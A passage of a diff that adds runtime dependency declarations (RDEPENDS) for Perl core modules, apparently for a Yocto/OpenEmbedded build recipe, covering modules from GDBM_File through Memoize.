+RDEPENDS:perl-module-gdbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-gdbm-file += "perl-module-xsloader"
+RDEPENDS:perl-module-getopt-long += "perl-module-constant"
+RDEPENDS:perl-module-getopt-long += "perl-module-exporter"
+RDEPENDS:perl-module-getopt-long += "perl-module-overload"
+RDEPENDS:perl-module-getopt-long += "perl-module-pod-usage"
+RDEPENDS:perl-module-getopt-long += "perl-module-strict"
+RDEPENDS:perl-module-getopt-long += "perl-module-text-parsewords"
+RDEPENDS:perl-module-getopt-long += "perl-module-vars"
+RDEPENDS:perl-module-getopt-long += "perl-module-warnings"
+RDEPENDS:perl-module-getopt-std += "perl-module-exporter"
+RDEPENDS:perl-module-getopt-std += "perl-module-strict"
+RDEPENDS:perl-module-getopt-std += "perl-module-warnings"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-builtin"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-exporter"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-strict"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-warnings"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-xsloader"
+RDEPENDS:perl-module-hash-util += "perl-module-builtin"
+RDEPENDS:perl-module-hash-util += "perl-module-exporter"
+RDEPENDS:perl-module-hash-util += "perl-module-hash-util-fieldhash"
+RDEPENDS:perl-module-hash-util += "perl-module-strict"
+RDEPENDS:perl-module-hash-util += "perl-module-warnings"
+RDEPENDS:perl-module-hash-util += "perl-module-warnings-register"
+RDEPENDS:perl-module-hash-util += "perl-module-xsloader"
+RDEPENDS:perl-module-i18n-collate += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-collate += "perl-module-overload"
+RDEPENDS:perl-module-i18n-collate += "perl-module-posix"
+RDEPENDS:perl-module-i18n-collate += "perl-module-strict"
+RDEPENDS:perl-module-i18n-collate += "perl-module-warnings-register"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-warnings"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-xsloader"
+RDEPENDS:perl-module-i18n-langtags-detect += "perl-module-i18n-langtags"
+RDEPENDS:perl-module-i18n-langtags-detect += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langtags-list += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langtags += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-langtags += "perl-module-strict"
+RDEPENDS:perl-module-if += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-compress-raw-bzip2"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-encode"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-file-globmapper"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-utf8"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-file"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-handle "
+RDEPENDS:perl-module-io-compress-base += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-base += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-adapter-bzip2"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-base"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-zlib-constants"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-fcntl"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-base"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-config"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-fcntl"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-adapter-identity"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-bzip2 "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-zip-constants"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-warnings"
+RDEPENDS:perl-module-io-dir += "perl-module-exporter"
+RDEPENDS:perl-module-io-dir += "perl-module-file-stat"
+RDEPENDS:perl-module-io-dir += "perl-module-io-file"
+RDEPENDS:perl-module-io-dir += "perl-module-strict"
+RDEPENDS:perl-module-io-dir += "perl-module-tie-hash"
+RDEPENDS:perl-module-io-file += "perl-module-exporter"
+RDEPENDS:perl-module-io-file += "perl-module-fcntl"
+RDEPENDS:perl-module-io-file += "perl-module-io-seekable"
+RDEPENDS:perl-module-io-file += "perl-module-selectsaver"
+RDEPENDS:perl-module-io-file += "perl-module-strict"
+RDEPENDS:perl-module-io-handle += "perl-module-exporter"
+RDEPENDS:perl-module-io-handle += "perl-module-io"
+RDEPENDS:perl-module-io-handle += "perl-module-io-file"
+RDEPENDS:perl-module-io-handle += "perl-module-selectsaver"
+RDEPENDS:perl-module-io-handle += "perl-module-strict"
+RDEPENDS:perl-module-io += "perl-module-strict"
+RDEPENDS:perl-module-io += "perl-module-warnings"
+RDEPENDS:perl-module-io += "perl-module-xsloader"
+RDEPENDS:perl-module-io-pipe += "perl-module-fcntl"
+RDEPENDS:perl-module-io-pipe += "perl-module-io-handle"
+RDEPENDS:perl-module-io-pipe += "perl-module-strict"
+RDEPENDS:perl-module-io-poll += "perl-module-exporter"
+RDEPENDS:perl-module-io-poll += "perl-module-io-handle"
+RDEPENDS:perl-module-io-poll += "perl-module-strict"
+RDEPENDS:perl-module-io-seekable += "perl-module-exporter"
+RDEPENDS:perl-module-io-seekable += "perl-module-fcntl"
+RDEPENDS:perl-module-io-seekable += "perl-module-io-handle"
+RDEPENDS:perl-module-io-seekable += "perl-module-strict"
+RDEPENDS:perl-module-io-select += "perl-module-exporter"
+RDEPENDS:perl-module-io-select += "perl-module-strict"
+RDEPENDS:perl-module-io-select += "perl-module-warnings-register"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-errno"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-exporter"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-io-socket"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-socket"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-base"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-constant"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-errno"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-posix"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-socket"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-warnings"
+RDEPENDS:perl-module-io-socket += "perl-module-errno"
+RDEPENDS:perl-module-io-socket += "perl-module-exporter"
+RDEPENDS:perl-module-io-socket += "perl-module-io-handle"
+RDEPENDS:perl-module-io-socket += "perl-module-io-select"
+RDEPENDS:perl-module-io-socket += "perl-module-io-socket-inet"
+RDEPENDS:perl-module-io-socket += "perl-module-io-socket-unix"
+RDEPENDS:perl-module-io-socket += "perl-module-socket"
+RDEPENDS:perl-module-io-socket += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-unix += "perl-module-io-socket"
+RDEPENDS:perl-module-io-socket-unix += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-compress-raw-bzip2"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-zip-constants "
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-gunzip"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-inflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-unzip"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-constant"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-io-file "
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-list-util"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-adapter-bunzip2"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-compress-zlib-constants"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-constant"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-encode"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-fcntl"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-zip-constants"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-file"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-identity"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-posix"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-zlib += "perl-module-fcntl"
+RDEPENDS:perl-module-io-zlib += "perl-module-io-handle"
+RDEPENDS:perl-module-io-zlib += "perl-module-strict"
+RDEPENDS:perl-module-io-zlib += "perl-module-tie-handle"
+RDEPENDS:perl-module-io-zlib += "perl-module-warnings"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-constant"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-filehandle"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-io-handle"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-io-select"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-ipc-open3"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-load"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-params-check"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-posix"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-socket"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-strict"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-text-parsewords"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-time-hires"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-vars"
+RDEPENDS:perl-module-ipc-msg += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-msg += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-msg += "perl-module-strict"
+RDEPENDS:perl-module-ipc-msg += "perl-module-vars"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-ipc-open3"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-strict"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-constant"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-fcntl"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-io-pipe"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-posix"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-strict"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-strict"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-vars"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-strict"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-vars"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-config"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-strict"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-vars"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-xsloader"
+RDEPENDS:perl-module-json-pp-boolean += "perl-module-overload"
+RDEPENDS:perl-module-json-pp-boolean += "perl-module-strict"
+RDEPENDS:perl-module-json-pp += "perl-module-b"
+RDEPENDS:perl-module-json-pp += "perl-module-bytes"
+RDEPENDS:perl-module-json-pp += "perl-module-constant"
+RDEPENDS:perl-module-json-pp += "perl-module-encode"
+RDEPENDS:perl-module-json-pp += "perl-module-exporter"
+RDEPENDS:perl-module-json-pp += "perl-module-json-pp-boolean"
+RDEPENDS:perl-module-json-pp += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-json-pp += "perl-module-math-bigint"
+RDEPENDS:perl-module-json-pp += "perl-module-overload"
+RDEPENDS:perl-module-json-pp += "perl-module-strict"
+RDEPENDS:perl-module-json-pp += "perl-module-subs"
+RDEPENDS:perl-module-less += "perl-module-strict"
+RDEPENDS:perl-module-less += "perl-module-warnings"
+RDEPENDS:perl-module-lib += "perl-module-config"
+RDEPENDS:perl-module-lib += "perl-module-strict"
+RDEPENDS:perl-module-list-util += "perl-module-exporter"
+RDEPENDS:perl-module-list-util += "perl-module-strict"
+RDEPENDS:perl-module-list-util += "perl-module-warnings"
+RDEPENDS:perl-module-list-util += "perl-module-xsloader"
+RDEPENDS:perl-module-list-util-xs += "perl-module-list-util"
+RDEPENDS:perl-module-list-util-xs += "perl-module-strict"
+RDEPENDS:perl-module-list-util-xs += "perl-module-warnings"
+RDEPENDS:perl-module-loaded += "perl-module-strict"
+RDEPENDS:perl-module-loaded += "perl-module-vars"
+RDEPENDS:perl-module-load += "perl-module-config"
+RDEPENDS:perl-module-load += "perl-module-constant"
+RDEPENDS:perl-module-load += "perl-module-exporter"
+RDEPENDS:perl-module-load += "perl-module-filehandle"
+RDEPENDS:perl-module-load += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-load += "perl-module-corelist"
+RDEPENDS:perl-module-load += "perl-module-load"
+RDEPENDS:perl-module-load += "perl-module-params-check"
+RDEPENDS:perl-module-load += "perl-module-strict"
+RDEPENDS:perl-module-load += "perl-module-vars"
+RDEPENDS:perl-module-load += "perl-module-version"
+RDEPENDS:perl-module-load += "perl-module-warnings"
+RDEPENDS:perl-module-locale-maketext-gutsloader += "perl-module-locale-maketext"
+RDEPENDS:perl-module-locale-maketext-guts += "perl-module-locale-maketext"
+RDEPENDS:perl-module-locale-maketext += "perl-module-i18n-langtags"
+RDEPENDS:perl-module-locale-maketext += "perl-module-i18n-langtags-detect"
+RDEPENDS:perl-module-locale-maketext += "perl-module-integer"
+RDEPENDS:perl-module-locale-maketext += "perl-module-strict"
+RDEPENDS:perl-module-locale-maketext-simple += "perl-module-base"
+RDEPENDS:perl-module-locale-maketext-simple += "perl-module-strict"
+RDEPENDS:perl-module-locale += "perl-module-config"
+RDEPENDS:perl-module-locale += "perl-module-strict"
+RDEPENDS:perl-module-locale += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-math-complex"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-overload"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-strict"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-overload"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-strict"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-constant"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-integer"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-math-bigint-lib"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-config"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-math-bigint-calc"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-xsloader"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-complex"
+RDEPENDS:perl-module-math-bigint += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigrat += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigrat += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigrat += "perl-module-math-complex"
+RDEPENDS:perl-module-math-bigrat += "perl-module-overload"
+RDEPENDS:perl-module-math-bigrat += "perl-module-strict"
+RDEPENDS:perl-module-math-bigrat += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigrat-trace += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigrat-trace += "perl-module-math-bigrat"
+RDEPENDS:perl-module-math-bigrat-trace += "perl-module-overload"
+RDEPENDS:perl-module-math-bigrat-trace += "perl-module-strict"
+RDEPENDS:perl-module-math-bigrat-trace += "perl-module-warnings"
+RDEPENDS:perl-module-math-complex += "perl-module-config"
+RDEPENDS:perl-module-math-complex += "perl-module-exporter"
+RDEPENDS:perl-module-math-complex += "perl-module-overload"
+RDEPENDS:perl-module-math-complex += "perl-module-strict"
+RDEPENDS:perl-module-math-complex += "perl-module-warnings"
+RDEPENDS:perl-module-math-trig += "perl-module-exporter"
+RDEPENDS:perl-module-math-trig += "perl-module-math-complex"
+RDEPENDS:perl-module-math-trig += "perl-module-strict"
+RDEPENDS:perl-module-memoize-anydbm-file += "perl-module-vars"
+RDEPENDS:perl-module-memoize += "perl-module-config"
+RDEPENDS:perl-module-memoize += "perl-module-exporter"
+RDEPENDS:perl-module-memoize += "perl-module-strict"
+RDEPENDS:perl-module-memoize += "perl-module-vars"
